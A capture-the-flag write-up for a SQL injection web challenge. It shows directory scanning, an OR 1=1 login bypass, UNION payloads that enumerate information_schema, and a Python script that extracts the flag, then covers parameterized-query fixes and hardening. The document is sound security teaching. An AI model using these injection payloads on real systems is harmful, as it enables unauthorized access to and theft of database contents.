This writeup covers the "Leaky Database" web challenge from our BSides Seattle 2026 CTF. The challenge presented a login form backed by a vulnerable PHP application and required chaining several SQL injection techniques to extract the flag.
Recon
The challenge page was a simple login form at http://challenge.ctf.local:8080/login. Viewing the source revealed nothing unusual — just a standard HTML form posting to /api/auth.
Running a quick directory scan:
gobuster dir -u http://challenge.ctf.local:8080 -w /usr/share/wordlists/common.txt
Turned up an interesting endpoint: /api/debug which returned a partial stack trace mentioning MySQL 8.0 and a table called users.
Finding the Injection Point
The login form accepted username and password fields. Testing with a single quote in the username field:
username: admin'
password: anything
Returned a 500 Internal Server Error — a strong indicator of SQL injection. A classic OR bypass confirmed it:
' OR 1=1 -- -
This logged us in as the first user in the table, but the flag wasn't on the dashboard.
Extracting the Flag
The flag was stored in a separate table. We used a UNION-based injection to enumerate tables:
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database() -- -
This revealed three tables:
| Table Name |
|---|
| users |
| sessions |
| secret_flags |
Then extracting columns from secret_flags:
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='secret_flags' -- -
Columns: id, flag_value, challenge_name.
Finally, pulling the flag:
import requests
url = "http://challenge.ctf.local:8080/api/auth"
payload = {
"username": "' UNION SELECT flag_value, NULL FROM secret_flags WHERE challenge_name='leaky_db' -- -",
"password": "x"
}
r = requests.post(url, data=payload)
print(r.text)
Output:
Welcome, RTA{sql_1nj3ct10n_1s_st1ll_d4ng3r0us}!
Mitigation
The fix is straightforward — use parameterized queries:
# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'")
# Fixed
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (user, pwd))
Additional hardening:
- Least privilege: The database user for the web app should only have
SELECTon theuserstable - WAF rules: Block common SQLi patterns as defense-in-depth
- Error handling: Never expose stack traces or database errors to users
Key Takeaways
- Always test input fields for injection — even in 2026, SQLi is alive and well
UNION-based injection is powerful when you can see output reflected in the response- The
information_schemadatabase is your best friend for enumeration - Parameterized queries are the only reliable fix — escaping and WAFs can be bypassed